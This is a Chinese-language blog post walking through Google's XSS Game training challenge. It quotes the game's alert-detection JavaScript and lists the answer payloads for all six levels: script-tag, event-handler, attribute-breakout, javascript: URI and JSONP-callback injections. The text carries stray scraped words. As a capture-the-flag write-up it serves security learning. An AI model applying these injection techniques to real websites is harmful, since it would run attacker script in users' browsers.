有趣的遊戲:Google XSS Game

Google最近出了一XSS遊戲:
javascript

https://xss-game.appspot.com/
html

我這個菜鳥看提示,花了兩三個小時才全過了。。java

這個遊戲的規則是僅僅要在攻擊網頁上彈出alert窗體就可以了。api

題目頁面是在iframe裏嵌套的展示的。那麼父窗體是怎樣知道iframe裏成功彈出了窗體?app

是這樣子實現的:xss

題目頁面載入了這個js,改寫了alert函數,當alert被調用時,向parent發送一個消息。ide

https://xss-game.appspot.com/static/game-frame.js
函數

/* If we're being iframed, let the parent know our URL */
/* Kids: don't do this at home! */
parent.postMessage(window.location.toString(), "*");

/* Override window.alert */
var originalAlert = window.alert;
window.alert = function(s) {
  parent.postMessage("success", "*");
  setTimeout(function() { 
    originalAlert("Congratulations, you executed an alert:\n\n" 
      + s + "\n\nYou can now advance to the next level.");
  }, 50);
}
而後父窗體註冊了一個EventListener來接收這個消息:

https://xss-game.appspot.com/static/game.js
post

window.addEventListener("message", function(event) {

  if (!window.location.origin) {
    window.location.origin = window.location.protocol + "//" 
        + window.location.hostname 
        + (window.location.port ?

':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }this

最如下是題目的答案。假設想本身玩遊戲的,慎拉下。














題目的答案:

Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">

Level3:

https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">

Level4:

3');alert('1

Level5:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level6:

重點是前面要有一個空格。

​ https://www.google.com/jsapi?

callback=alert


遊戲過關以後,google給出了一個xss的文檔:

https://www.google.com/about/appsecurity/learning/xss/index.html

相關文章
相關標籤/搜索